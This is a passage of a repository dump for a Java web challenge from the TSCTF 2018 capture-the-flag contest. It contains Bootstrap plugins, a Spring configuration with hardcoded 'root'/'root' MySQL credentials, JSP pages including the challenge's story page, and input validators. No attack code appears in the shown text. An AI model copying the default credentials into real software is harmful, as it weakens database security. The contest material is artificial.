$.fn.tooltip.Constructor.DEFAULTS, {\n    placement: 'right',\n    trigger: 'click',\n    content: '',\n    template: '<div class=\"popover\" role=\"tooltip\"><div class=\"arrow\"></div><h3 class=\"popover-title\"></h3><div class=\"popover-content\"></div></div>'\n  })\n\n\n  // NOTE: POPOVER EXTENDS tooltip.js\n  // ================================\n\n  Popover.prototype = $.extend({}, $.fn.tooltip.Constructor.prototype)\n\n  Popover.prototype.constructor = Popover\n\n  Popover.prototype.getDefaults = function () {\n    return Popover.DEFAULTS\n  }\n\n  Popover.prototype.setContent = function () {\n    var $tip    = this.tip()\n    var title   = this.getTitle()\n    var content = this.getContent()\n\n    $tip.find('.popover-title')[this.options.html ? 'html' : 'text'](title)\n    $tip.find('.popover-content').children().detach().end()[ // we use append for html objects to maintain js events\n      this.options.html ? (typeof content == 'string' ? 'html' : 'append') : 'text'\n    ](content)\n\n    $tip.removeClass('fade top bottom left right in')\n\n    // IE8 doesn't accept hiding via the `:empty` pseudo selector, we have to do\n    // this manually by checking the contents.\n    if (!$tip.find('.popover-title').html()) $tip.find('.popover-title').hide()\n  }\n\n  Popover.prototype.hasContent = function () {\n    return this.getTitle() || this.getContent()\n  }\n\n  Popover.prototype.getContent = function () {\n    var $e = this.$element\n    var o  = this.options\n\n    return $e.attr('data-content')\n      || (typeof o.content == 'function' ?\n            o.content.call($e[0]) :\n            o.content)\n  }\n\n  Popover.prototype.arrow = function () {\n    return (this.$arrow = this.$arrow || this.tip().find('.arrow'))\n  }\n\n\n  // POPOVER PLUGIN DEFINITION\n  // =========================\n\n  function Plugin(option) {\n    return this.each(function () {\n      var $this   = $(this)\n      var data    = $this.data('bs.popover')\n      var options = typeof option == 'object' && option\n\n      if (!data && /destroy|hide/.test(option)) return\n      if (!data) $this.data('bs.popover', (data = new Popover(this, options)))\n      if (typeof option == 'string') data[option]()\n    })\n  }\n\n  var old = $.fn.popover\n\n  $.fn.popover             = Plugin\n  $.fn.popover.Constructor = Popover\n\n\n  // POPOVER NO CONFLICT\n  // ===================\n\n  $.fn.popover.noConflict = function () {\n    $.fn.popover = old\n    return this\n  }\n\n}(jQuery);\n\n/* ========================================================================\n * Bootstrap: scrollspy.js v3.3.5\n * http://getbootstrap.com/javascript/#scrollspy\n * ========================================================================\n * Copyright 2011-2015 Twitter, Inc.\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * ======================================================================== */\n\n\n+function ($) {\n  'use strict';\n\n  // SCROLLSPY CLASS DEFINITION\n  // ==========================\n\n  function ScrollSpy(element, options) {\n    this.$body          = $(document.body)\n    this.$scrollElement = $(element).is(document.body) ? $(window) : $(element)\n    this.options        = $.extend({}, ScrollSpy.DEFAULTS, options)\n    this.selector       = (this.options.target || '') + ' .nav li > a'\n    this.offsets        = []\n    this.targets        = []\n    this.activeTarget   = null\n    this.scrollHeight   = 0\n\n    this.$scrollElement.on('scroll.bs.scrollspy', $.proxy(this.process, this))\n    this.refresh()\n    this.process()\n  }\n\n  ScrollSpy.VERSION  = '3.3.5'\n\n  ScrollSpy.DEFAULTS = {\n    offset: 10\n  }\n\n  ScrollSpy.prototype.getScrollHeight = function () {\n    return this.$scrollElement[0].scrollHeight || Math.max(this.$body[0].scrollHeight, document.documentElement.scrollHeight)\n  }\n\n  ScrollSpy.prototype.refresh = function () {\n    var that          = this\n    var offsetMethod  = 'offset'\n    var offsetBase    = 0\n\n    this.offsets      = []\n    this.targets      = []\n    this.scrollHeight = this.getScrollHeight()\n\n    if (!$.isWindow(this.$scrollElement[0])) {\n      offsetMethod = 'position'\n      offsetBase   = this.$scrollElement.scrollTop()\n    }\n\n    this.$body\n      .find(this.selector)\n      .map(function () {\n        var $el   = $(this)\n        var href  = $el.data('target') || $el.attr('href')\n        var $href = /^#./.test(href) && $(href)\n\n        return ($href\n          && $href.length\n          && $href.is(':visible')\n          && [[$href[offsetMethod]().top + offsetBase, href]]) || null\n      })\n      .sort(function (a, b) { return a[0] - b[0] })\n      .each(function () {\n        that.offsets.push(this[0])\n        that.targets.push(this[1])\n      })\n  }\n\n  ScrollSpy.prototype.process = function () {\n    var scrollTop    = this.$scrollElement.scrollTop() + this.options.offset\n    var scrollHeight = this.getScrollHeight()\n    var maxScroll    = this.options.offset + scrollHeight - this.$scrollElement.height()\n    var offsets      = this.offsets\n    var targets      = this.targets\n    var activeTarget = this.activeTarget\n    var i\n\n    if (this.scrollHeight != scrollHeight) {\n      this.refresh()\n    }\n\n    if (scrollTop >= maxScroll) {\n      return activeTarget != (i = targets[targets.length - 1]) && this.activate(i)\n    }\n\n    if (activeTarget && scrollTop < offsets[0]) {\n      this.activeTarget = null\n      return this.clear()\n    }\n\n    for (i = offsets.length; i--;) {\n      activeTarget != targets[i]\n        && scrollTop >= offsets[i]\n        && (offsets[i + 1] === undefined || scrollTop < offsets[i + 1])\n        && this.activate(targets[i])\n    }\n  }\n\n  ScrollSpy.prototype.activate = function (target) {\n    this.activeTarget = target\n\n    this.clear()\n\n    var selector = this.selector +\n      '[data-target=\"' + target + '\"],' +\n      this.selector + '[href=\"' + target + '\"]'\n\n    var active = $(selector)\n      .parents('li')\n      .addClass('active')\n\n    if (active.parent('.dropdown-menu').length) {\n      active = active\n        .closest('li.dropdown')\n        .addClass('active')\n    }\n\n    active.trigger('activate.bs.scrollspy')\n  }\n\n  ScrollSpy.prototype.clear = function () {\n    $(this.selector)\n      .parentsUntil(this.options.target, '.active')\n      .removeClass('active')\n  }\n\n\n  // SCROLLSPY PLUGIN DEFINITION\n  // ===========================\n\n  function Plugin(option) {\n    return this.each(function () {\n      var $this   = $(this)\n      var data    = $this.data('bs.scrollspy')\n      var options = typeof option == 'object' && option\n\n      if (!data) $this.data('bs.scrollspy', (data = new ScrollSpy(this, options)))\n      if (typeof option == 'string') data[option]()\n    })\n  }\n\n  var old = $.fn.scrollspy\n\n  $.fn.scrollspy             = Plugin\n  $.fn.scrollspy.Constructor = ScrollSpy\n\n\n  // SCROLLSPY NO CONFLICT\n  // =====================\n\n  $.fn.scrollspy.noConflict = function () {\n    $.fn.scrollspy = old\n    return this\n  }\n\n\n  // SCROLLSPY DATA-API\n  // ==================\n\n  $(window).on('load.bs.scrollspy.data-api', function () {\n    $('[data-spy=\"scroll\"]').each(function () {\n      var $spy = $(this)\n      Plugin.call($spy, $spy.data())\n    })\n  })\n\n}(jQuery);\n\n/* ========================================================================\n * Bootstrap: tab.js v3.3.5\n * http://getbootstrap.com/javascript/#tabs\n * ========================================================================\n * Copyright 2011-2015 Twitter, Inc.\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * ======================================================================== */\n\n\n+function ($) {\n  'use strict';\n\n  // TAB CLASS DEFINITION\n  // ====================\n\n  var Tab = function (element) {\n    // jscs:disable requireDollarBeforejQueryAssignment\n    this.element = $(element)\n    // jscs:enable requireDollarBeforejQueryAssignment\n  }\n\n  Tab.VERSION = '3.3.5'\n\n  Tab.TRANSITION_DURATION = 150\n\n  Tab.prototype.show = function () {\n    var $this    = this.element\n    var $ul      = $this.closest('ul:not(.dropdown-menu)')\n    var selector = $this.data('target')\n\n    if (!selector) {\n      selector = $this.attr('href')\n      selector = selector && selector.replace(/.*(?=#[^\\s]*$)/, '') // strip for ie7\n    }\n\n    if ($this.parent('li').hasClass('active')) return\n\n    var $previous = $ul.find('.active:last a')\n    var hideEvent = $.Event('hide.bs.tab', {\n      relatedTarget: $this[0]\n    })\n    var showEvent = $.Event('show.bs.tab', {\n      relatedTarget: $previous[0]\n    })\n\n    $previous.trigger(hideEvent)\n    $this.trigger(showEvent)\n\n    if (showEvent.isDefaultPrevented() || hideEvent.isDefaultPrevented()) return\n\n    var $target = $(selector)\n\n    this.activate($this.closest('li'), $ul)\n    this.activate($target, $target.parent(), function () {\n      $previous.trigger({\n        type: 'hidden.bs.tab',\n        relatedTarget: $this[0]\n      })\n      $this.trigger({\n        type: 'shown.bs.tab',\n        relatedTarget: $previous[0]\n      })\n    })\n  }\n\n  Tab.prototype.activate = function (element, container, callback) {\n    var $active    = container.find('> .active')\n    var transition = callback\n      && $.support.transition\n      && ($active.length && $active.hasClass('fade') || !!container.find('> .fade').length)\n\n    function next() {\n      $active\n        .removeClass('active')\n        .find('> .dropdown-menu > .active')\n          .removeClass('active')\n        .end()\n        .find('[data-toggle=\"tab\"]')\n          .attr('aria-expanded', false)\n\n      element\n        .addClass('active')\n        .find('[data-toggle=\"tab\"]')\n          .attr('aria-expanded', true)\n\n      if (transition) {\n        element[0].offsetWidth // reflow for transition\n        element.addClass('in')\n      } else {\n        element.removeClass('fade')\n      }\n\n      if (element.parent('.dropdown-menu').length) {\n        element\n          .closest('li.dropdown')\n            .addClass('active')\n          .end()\n          .find('[data-toggle=\"tab\"]')\n            .attr('aria-expanded', true)\n      }\n\n      callback && callback()\n    }\n\n    $active.length && transition ?\n      $active\n        .one('bsTransitionEnd', next)\n        .emulateTransitionEnd(Tab.TRANSITION_DURATION) :\n      next()\n\n    $active.removeClass('in')\n  }\n\n\n  // TAB PLUGIN DEFINITION\n  // =====================\n\n  function Plugin(option) {\n    return this.each(function () {\n      var $this = $(this)\n      var data  = $this.data('bs.tab')\n\n      if (!data) $this.data('bs.tab', (data = new Tab(this)))\n      if (typeof option == 'string') data[option]()\n    })\n  }\n\n  var old = $.fn.tab\n\n  $.fn.tab             = Plugin\n  $.fn.tab.Constructor = Tab\n\n\n  // TAB NO CONFLICT\n  // ===============\n\n  $.fn.tab.noConflict = function () {\n    $.fn.tab = old\n    return this\n  }\n\n\n  // TAB DATA-API\n  // ============\n\n  var clickHandler = function (e) {\n    e.preventDefault()\n    Plugin.call($(this), 'show')\n  }\n\n  $(document)\n    .on('click.bs.tab.data-api', '[data-toggle=\"tab\"]', clickHandler)\n    .on('click.bs.tab.data-api', '[data-toggle=\"pill\"]', clickHandler)\n\n}(jQuery);\n\n/* ========================================================================\n * Bootstrap: affix.js v3.3.5\n * http://getbootstrap.com/javascript/#affix\n * ========================================================================\n * Copyright 2011-2015 Twitter, Inc.\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * ======================================================================== */\n\n\n+function ($) {\n  'use strict';\n\n  // AFFIX CLASS DEFINITION\n  // ======================\n\n  var Affix = function (element, options) {\n    this.options = $.extend({}, Affix.DEFAULTS, options)\n\n    this.$target = $(this.options.target)\n      .on('scroll.bs.affix.data-api', $.proxy(this.checkPosition, this))\n      .on('click.bs.affix.data-api',  $.proxy(this.checkPositionWithEventLoop, this))\n\n    this.$element     = $(element)\n    this.affixed      = null\n    this.unpin        = null\n    this.pinnedOffset = null\n\n    this.checkPosition()\n  }\n\n  Affix.VERSION  = '3.3.5'\n\n  Affix.RESET    = 'affix affix-top affix-bottom'\n\n  Affix.DEFAULTS = {\n    offset: 0,\n    target: window\n  }\n\n  Affix.prototype.getState = function (scrollHeight, height, offsetTop, offsetBottom) {\n    var scrollTop    = this.$target.scrollTop()\n    var position     = this.$element.offset()\n    var targetHeight = this.$target.height()\n\n    if (offsetTop != null && this.affixed == 'top') return scrollTop < offsetTop ? 'top' : false\n\n    if (this.affixed == 'bottom') {\n      if (offsetTop != null) return (scrollTop + this.unpin <= position.top) ? false : 'bottom'\n      return (scrollTop + targetHeight <= scrollHeight - offsetBottom) ? false : 'bottom'\n    }\n\n    var initializing   = this.affixed == null\n    var colliderTop    = initializing ? scrollTop : position.top\n    var colliderHeight = initializing ? targetHeight : height\n\n    if (offsetTop != null && scrollTop <= offsetTop) return 'top'\n    if (offsetBottom != null && (colliderTop + colliderHeight >= scrollHeight - offsetBottom)) return 'bottom'\n\n    return false\n  }\n\n  Affix.prototype.getPinnedOffset = function () {\n    if (this.pinnedOffset) return this.pinnedOffset\n    this.$element.removeClass(Affix.RESET).addClass('affix')\n    var scrollTop = this.$target.scrollTop()\n    var position  = this.$element.offset()\n    return (this.pinnedOffset = position.top - scrollTop)\n  }\n\n  Affix.prototype.checkPositionWithEventLoop = function () {\n    setTimeout($.proxy(this.checkPosition, this), 1)\n  }\n\n  Affix.prototype.checkPosition = function () {\n    if (!this.$element.is(':visible')) return\n\n    var height       = this.$element.height()\n    var offset       = this.options.offset\n    var offsetTop    = offset.top\n    var offsetBottom = offset.bottom\n    var scrollHeight = Math.max($(document).height(), $(document.body).height())\n\n    if (typeof offset != 'object')         offsetBottom = offsetTop = offset\n    if (typeof offsetTop == 'function')    offsetTop    = offset.top(this.$element)\n    if (typeof offsetBottom == 'function') offsetBottom = offset.bottom(this.$element)\n\n    var affix = this.getState(scrollHeight, height, offsetTop, offsetBottom)\n\n    if (this.affixed != affix) {\n      if (this.unpin != null) this.$element.css('top', '')\n\n      var affixType = 'affix' + (affix ? '-' + affix : '')\n      var e         = $.Event(affixType + '.bs.affix')\n\n      this.$element.trigger(e)\n\n      if (e.isDefaultPrevented()) return\n\n      this.affixed = affix\n      this.unpin = affix == 'bottom' ? this.getPinnedOffset() : null\n\n      this.$element\n        .removeClass(Affix.RESET)\n        .addClass(affixType)\n        .trigger(affixType.replace('affix', 'affixed') + '.bs.affix')\n    }\n\n    if (affix == 'bottom') {\n      this.$element.offset({\n        top: scrollHeight - height - offsetBottom\n      })\n    }\n  }\n\n\n  // AFFIX PLUGIN DEFINITION\n  // =======================\n\n  function Plugin(option) {\n    return this.each(function () {\n      var $this   = $(this)\n      var data    = $this.data('bs.affix')\n      var options = typeof option == 'object' && option\n\n      if (!data) $this.data('bs.affix', (data = new Affix(this, options)))\n      if (typeof option == 'string') data[option]()\n    })\n  }\n\n  var old = $.fn.affix\n\n  $.fn.affix             = Plugin\n  $.fn.affix.Constructor = Affix\n\n\n  // AFFIX NO CONFLICT\n  // =================\n\n  $.fn.affix.noConflict = function () {\n    $.fn.affix = old\n    return this\n  }\n\n\n  // AFFIX DATA-API\n  // ==============\n\n  $(window).on('load', function () {\n    $('[data-spy=\"affix\"]').each(function () {\n      var $spy = $(this)\n      var data = $spy.data()\n\n      data.offset = data.offset || {}\n\n      if (data.offsetBottom != null) data.offset.bottom = data.offsetBottom\n      if (data.offsetTop    != null) data.offset.top    = data.offsetTop\n\n      Plugin.call($spy, data)\n    })\n  })\n\n}(jQuery);\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/src/main/webapp/bootstrap3.3.5/js/npm.js",
    "content": "// This file is autogenerated via the `commonjs` Grunt task. You can require() this file in a CommonJS environment.\nrequire('../../js/transition.js')\nrequire('../../js/alert.js')\nrequire('../../js/button.js')\nrequire('../../js/carousel.js')\nrequire('../../js/collapse.js')\nrequire('../../js/dropdown.js')\nrequire('../../js/modal.js')\nrequire('../../js/tooltip.js')\nrequire('../../js/popover.js')\nrequire('../../js/scrollspy.js')\nrequire('../../js/tab.js')\nrequire('../../js/affix.js')"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/src/main/webapp/classes/spring-context.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\" ?>\n<beans xmlns=\"http://www.springframework.org/schema/beans\"\n       xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n       xmlns:p=\"http://www.springframework.org/schema/p\"\n       xmlns:context=\"http://www.springframework.org/schema/context\"\n       xmlns:aop=\"http://www.springframework.org/schema/aop\"\n       xmlns:tx=\"http://www.springframework.org/schema/tx\"\n       xsi:schemaLocation=\"http://www.springframework.org/schema/beans\n       http://www.springframework.org/schema/beans/spring-beans-4.0.xsd\n       http://www.springframework.org/schema/context\n       http://www.springframework.org/schema/context/spring-context-4.0.xsd\n       http://www.springframework.org/schema/tx\n       http://www.springframework.org/schema/tx/spring-tx-4.0.xsd\n       http://www.springframework.org/schema/aop\n       http://www.springframework.org/schema/aop/spring-aop-4.0.xsd\">\n\n    <!-- 扫描类包，将标注Spring注解的类自动转化Bean，同时完成Bean的注入 -->\n    <context:component-scan base-package=\"com.bupt.dao\"/>\n    <context:component-scan base-package=\"com.bupt.service\"/>\n\n    <!-- 配置数据源 -->\n    <bean id=\"dataSource\" class=\"org.apache.commons.dbcp.BasicDataSource\"\n          destroy-method=\"close\"\n          p:driverClassName=\"com.mysql.jdbc.Driver\"\n          p:url=\"jdbc:mysql://localhost:3306/sampledb\"\n          p:username=\"root\"\n          p:password=\"root\" />\n\n    <!-- 配置Jdbc模板  -->\n    <bean id=\"jdbcTemplate\" class=\"org.springframework.jdbc.core.JdbcTemplate\"\n          p:dataSource-ref=\"dataSource\" />\n\n    <!-- 配置事务管理器 -->\n    <bean id=\"transactionManager\"\n          class=\"org.springframework.jdbc.datasource.DataSourceTransactionManager\"\n          p:dataSource-ref=\"dataSource\" />\n\n    <!-- 通过AOP配置提供事务增强，让service包下所有Bean的所有方法拥有事务 -->\n    <aop:config proxy-target-class=\"true\">\n        <aop:pointcut id=\"serviceMethod\"\n                      expression=\"(execution(* com.bupt.service..*(..))) and (@annotation(org.springframework.transaction.annotation.Transactional))\" />\n        <aop:advisor pointcut-ref=\"serviceMethod\" advice-ref=\"txAdvice\" />\n    </aop:config>\n    <tx:advice id=\"txAdvice\" transaction-manager=\"transactionManager\">\n        <tx:attributes>\n            <tx:method name=\"*\" />\n        </tx:attributes>\n    </tx:advice>\n</beans>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/src/main/webapp/common/closed.jsp",
    "content": "<%@ page import=\"com.bupt.utils.SystemDateTimeChecker\" %><%--\n  Created by IntelliJ IDEA.\n  User: wust_\n  Date: 2018/3/22\n  Time: 1:09\n  To change this template use File | Settings | File Templates.\n--%>\n<%@ page contentType=\"text/html;charset=UTF-8\" language=\"java\" %>\n<div class=\"row\">\n    <div class=\"col-md-12 text-center\">\n        <h3>等待系统开放.......</h3>\n        <h4>系统开放时间段：<%=SystemDateTimeChecker.from%> ~ <%=SystemDateTimeChecker.to%></h4>\n        <h4>当前时间：<span id=\"currentTime\"></span></h4>\n    </div>\n</div>\n<script type=\"text/javascript\">\n    window.onload = function() {\n        var show = document.getElementById(\"currentTime\");\n        setInterval(function() {\n            var time = new Date();   // 程序计时的月从0开始取值后+1\n            var m = time.getMonth() + 1;\n            var t = time.getFullYear() + \"-\" + m + \"-\"\n                    + time.getDate() + \" \" + time.getHours() + \":\"\n                    + time.getMinutes() + \":\" + time.getSeconds();\n            show.innerHTML = t;\n        }, 1000);\n    };\n</script>"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/src/main/webapp/common/competitionInfo.jsp",
    "content": "<%@ page contentType=\"text/html;charset=UTF-8\" language=\"java\" %>\n<div class=\"row\">\n    <div class=\"col-sm-12\" >\n        <div class=\"col-xs-12\">\n            <div class=\"row\">\n                <div class=\"col-md-12 text-center\">\n                    <h2>恋爱的季节&nbsp;&nbsp;<span class=\"glyphicon glyphicon-fire\" style=\"color: red\"></span></h2>\n                </div>\n            </div>\n\n            <div class=\"row\">\n                <div class=\"col-md-12 text-center\">\n                    <p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</p>\n                </div>\n            </div>\n\n            <div class=\"row\">\n                <div class=\"col-md-12 text-center\">\n\n                </div>\n            </div>\n            <div class=\"row\">\n                <div class=\"col-md-12\">\n                    <p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;经过漫长的冬季，一种叫做单身狗的生物揉揉惺忪的双眼，望着窗外春暖花开的景色，心中对于爱情的渴望如同一粒石子落入湖面后激起的涟漪，一圈一圈的荡漾开去......</p>\n                </div>\n            </div>\n            <div class=\"row\">\n                <div class=\"col-md-12\">\n                    <p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\"亲爱的爱上你,从那天起,甜蜜的很轻易\"单身狗哼着杰伦老师的《告白气球》，踏上了CTF的征程，此刻它的眼神坚定，无形的力量驱使着它一直向前，因为下一站是幸福~\n                    </p>\n                </div>\n            </div>\n\n            <div class=\"row\">\n                <div class=\"col-md-12\">\n                    <p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;当单身狗走进web世界，便可以进化为一只web狗。据说每一只web狗都有一只专属天使，专属天使择良木而栖，择Flag而食，为了喂饱它的天使，web狗不得不开始疯狂的寻找Flag，故事由此开始！</p>\n                </div>\n            </div>\n        </div>\n    </div>\n</div>"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/src/main/webapp/common/footer.jsp",
    "content": "<%--\n  Created by IntelliJ IDEA.\n  User: wust_\n  Date: 2018/3/22\n  Time: 1:09\n  To change this template use File | Settings | File Templates.\n--%>\n<%@ page contentType=\"text/html;charset=UTF-8\" language=\"java\" %>\n<footer class=\"footer navbar-fixed-bottom \">\n    <div class=\"container\">\n        <div class=\"row\">\n            <div class=\"col-md-12 text-center\">\n                <p>版权所有 © TSCTF 2018</p>\n            </div>\n        </div>\n    </div>\n</footer>"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/src/main/webapp/common/head.jsp",
    "content": "<%--\n  Created by IntelliJ IDEA.\n  User: wust_\n  Date: 2018/3/21\n  Time: 10:49\n  To change this template use File | Settings | File Templates.\n--%>\n<%@ taglib prefix=\"c\" uri=\"http://java.sun.com/jsp/jstl/core\" %>\n<%@ page contentType=\"text/html;charset=UTF-8\" language=\"java\" %>\n<%\n    String path = request.getContextPath();\n    String basePath = request.getScheme()+\"://\"+request.getServerName()+\":\"+request.getServerPort()+path+\"/\";\n%>\n<c:set var=\"cp\" value=\"<%=basePath%>\" />\n<meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" />\n<!--bootstrap CSS-->\n<link rel=\"stylesheet\" href=\"${cp}bootstrap3.3.5/css/bootstrap.min.css\">\n<link rel=\"stylesheet\" href=\"${cp}css/bootstrap-datetimepicker.min.css\">\n<!--JavaScript-->\n<script src=\"${cp}js/jquery-1.9.1.min.js\"></script>\n<!--bootstrap js-->\n<script src=\"${cp}bootstrap3.3.5/js/bootstrap.min.js\"></script>\n<script src=\"${cp}js/bootstrap-datetimepicker.min.js\"></script>\n<script src=\"${cp}js/bootstrap-datetimepicker.zh-CN.js\"></script>\n<!--validation js-->\n<script src=\"${cp}js/myValidator.js\"></script>\n<!--show Tips js-->\n<script src=\"${cp}js/showTips.js\"></script>"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/src/main/webapp/common/infoTab.jsp",
    "content": "<%@ page contentType=\"text/html;charset=UTF-8\" language=\"java\" %>\n<div class=\"list-group\">\n    <a href=\"${cp}/profile/profileEditHtml.html\" class=\"list-group-item list-group-item-success\">修改个人信息</a>\n    <a href=\"${cp}/profile/info.html\" class=\"list-group-item list-group-item-info\">线上预赛安排</a>\n    <a href=\"${cp}/profile/competitionRule.html\" class=\"list-group-item list-group-item-success\">竞赛规则</a>\n</div>"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/src/main/webapp/common/navigator.jsp",
    "content": "<%@ taglib prefix=\"c\" uri=\"http://java.sun.com/jsp/jstl/core\" %>\n<%--\n  Created by IntelliJ IDEA.\n  User: wust_\n  Date: 2018/3/21\n  Time: 10:49\n  To change this template use File | Settings | File Templates.\n--%>\n<%@ page contentType=\"text/html;charset=UTF-8\" language=\"java\" %>\n<nav class=\"navbar navbar-default navbar-static-top\" role=\"navigation\">\n    <div class=\"container-fluid\">\n        <div class=\"navbar-header\">\n            <button type=\"button\" class=\"navbar-toggle\" data-toggle=\"collapse\" data-target=\"#bs-example-navbar-collapse-1\">\n                <span class=\"sr-only\">Toggle navigation</span>\n                <span class=\"icon-bar\"></span>\n                <span class=\"icon-bar\"></span>\n                <span class=\"icon-bar\"></span>\n            </button>\n            <a class=\"navbar-brand\" href=\"/index.html\" target=\"_top\" >恋爱的季节入口</a>\n        </div>\n        <div class=\"collapse navbar-collapse\" id=\"bs-example-navbar-collapse-1\">\n            <%--<ul class=\"nav navbar-nav navbar-left\">--%>\n                <%--<li class=\"dropdown\">--%>\n                    <%--<a href=\"/info.html\" target=\"_top\">--%>\n                        <%--信息公告--%>\n                    <%--</a>--%>\n                <%--</li>--%>\n            <%--</ul>--%>\n            <ul class=\"nav navbar-nav navbar-right\">\n\n                <c:if test=\"${username!=null}\">\n                    <li class=\"dropdown\">\n                        <a href=\"#\" class=\"dropdown-toggle\" data-toggle=\"dropdown\" role=\"button\" aria-haspopup=\"true\" aria-expanded=\"false\" target=\"_top\" >\n                            Hi~ ${username}<span class=\"caret\"></span>\n                        </a>\n                        <ul class=\"dropdown-menu\">\n                            <li><a href=\"/profile/my\" target=\"_top\" >查看恋爱心得</a></li>\n                            <li><a href=\"/profile/myProfile\" target=\"_top\" >查看个人信息</a></li>\n                            <li><a href=\"/user/logout\" target=\"_top\" >注销</a></li>\n                        </ul>\n                    </li>\n                </c:if>\n            </ul>\n        </div>\n        <!-- /.navbar-collapse -->\n    </div>\n    <!-- /.container-fluid -->\n</nav>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/src/main/webapp/index.jsp",
    "content": "<%@ taglib prefix=\"c\" uri=\"http://java.sun.com/jsp/jstl/core\" %>\n<%@ page contentType=\"text/html;charset=UTF-8\" language=\"java\" %>\n<%\n    String path = request.getContextPath();\n    String basePath = request.getScheme()+\"://\"+request.getServerName()+\":\"+request.getServerPort()+path+\"/\";\n%>\n<c:set var=\"cp\" value=\"<%=basePath%>\" />\n<html>\n<html>\n<head>\n    <title>index</title>\n</head>\n<body>\n<h1>index</h1>\n<%\n    response.sendRedirect(basePath+\"index.html\");\n%>\n</body>\n</html>"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/src/main/webapp/js/bootstrap-datetimepicker.zh-CN.js",
    "content": "/**\n * Simplified Chinese translation for bootstrap-datetimepicker\n * Yuan Cheung <advanimal@gmail.com>\n */\n;(function($){\n\t$.fn.datetimepicker.dates['zh-CN'] = {\n\t\t\tdays: [\"星期日\", \"星期一\", \"星期二\", \"星期三\", \"星期四\", \"星期五\", \"星期六\", \"星期日\"],\n\t\t\tdaysShort: [\"周日\", \"周一\", \"周二\", \"周三\", \"周四\", \"周五\", \"周六\", \"周日\"],\n\t\t\tdaysMin:  [\"日\", \"一\", \"二\", \"三\", \"四\", \"五\", \"六\", \"日\"],\n\t\t\tmonths: [\"一月\", \"二月\", \"三月\", \"四月\", \"五月\", \"六月\", \"七月\", \"八月\", \"九月\", \"十月\", \"十一月\", \"十二月\"],\n\t\t\tmonthsShort: [\"一月\", \"二月\", \"三月\", \"四月\", \"五月\", \"六月\", \"七月\", \"八月\", \"九月\", \"十月\", \"十一月\", \"十二月\"],\n\t\t\ttoday: \"今天\",\n\t\t\tsuffix: [],\n\t\t\tmeridiem: [\"上午\", \"下午\"]\n\t};\n}(jQuery));\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/src/main/webapp/js/myValidator.js",
    "content": "/**\n * 密码强度正则，最少6位，包括至少1个大写字母，1个小写字母，1个数字，1个特殊字符\n * 验证密码\n * @param password\n * @returns {boolean}\n */\n// function validatePassword(password) {\n//     var pPattern = /^.*(?=.{6,})(?=.*\\d)(?=.*[A-Z])(?=.*[a-z])(?=.*[!@#$%^&*? ]).*$/;\n//     return pPattern.test(password);\n// }\n\n/**\n *\n //正整数正则\n * @param number\n */\nfunction validatePositiveInteger(number) {\n    var posPattern = /^\\d+$/;\n    return posPattern.test(number);\n}\n\n/**\n * 验证Email\n * @param email\n * @returns {boolean}\n */\nfunction validateEmail(email) {\n    //Email正则\n    var ePattern = /^([A-Za-z0-9_\\-\\.])+\\@([A-Za-z0-9_\\-\\.])+\\.([A-Za-z]{2,4})$/;\n    return ePattern.test(email);\n\n}\n\n/**\n * 电话号码\n * @param phone\n * @returns {boolean}\n */\nfunction validatePhoneNumber(phone) {\n    var mPattern = /^1[34578]\\d{9}$/; //http://caibaojian.com/regexp-example.html\n    return mPattern.test(phone);\n}\n\n/**\n * 身份证号（18位）正则\n * @param IDNumber\n * @returns {boolean}\n */\nfunction validateIDNumber(IDNumber) {\n    var cP = /^[1-9]\\d{5}(18|19|([23]\\d))\\d{2}((0[1-9])|(10|11|12))(([0-2][1-9])|10|20|30|31)\\d{3}[0-9Xx]$/;\n    return cP.test(IDNumber);\n\n}\n\n/**\n *\n //日期正则，复杂判定\n * @param date\n */\nfunction validateDate(date) {\n//日期正则，简单判定,未做月份及日期的判定\n    var dP1 = dP2 = /^(?:(?!0000)[0-9]{4}-(?:(?:0[1-9]|1[0-2])-(?:0[1-9]|1[0-9]|2[0-8])|(?:0[13-9]|1[0-2])-(?:29|30)|(?:0[13578]|1[02])-31)|(?:[0-9]{2}(?:0[48]|[2468][048]|[13579][26])|(?:0[48]|[2468][048]|[13579][26])00)-02-29)$/;\n    return dP1.test(date);\n}\n\nfunction validateLengthMax(str,max) {\n    var len = getByteLen(str);\n    return len<=max;\n}\n\nfunction validateLengthMin(str,min) {\n    var len = getByteLen(str);\n    return len>=min;\n}\n\n/**\n * 校验用户名\n * 要求：0-9a-zA-Z和@.+-_\n * 长度：30以内\n * @param username\n */\nfunction validateUserName(username) {\n    var uPattern = /^[0-9a-zA-Z@.+\\-_]{1,30}$/;\n    return uPattern.test(username);\n}\n\n/**\n * 校验密码\n * 要求：0-9a-zA-Z\n * 长度：6-12位\n * @param password\n */\nfunction validatePassword(password) {\n    var uPattern = /^[0-9a-zA-Z]{6,12}$/;\n    return uPattern.test(password);\n}\n/**\n * 获取字符串长度，一个中文算两个字符\n * @param val\n * @returns {number}\n */\nfunction getByteLen(val) {\n    var len = 0;\n    for (var i = 0; i < val.length; i++) {\n        var a = val.charAt(i);\n        if (a.match(/[^\\x00-\\xff]/ig) != null)\n        {\n            len += 2;\n        }\n        else\n        {\n            len += 1;\n        }\n    }\n    return len;\n}\n\nfunction myTrim(x) {\n    return 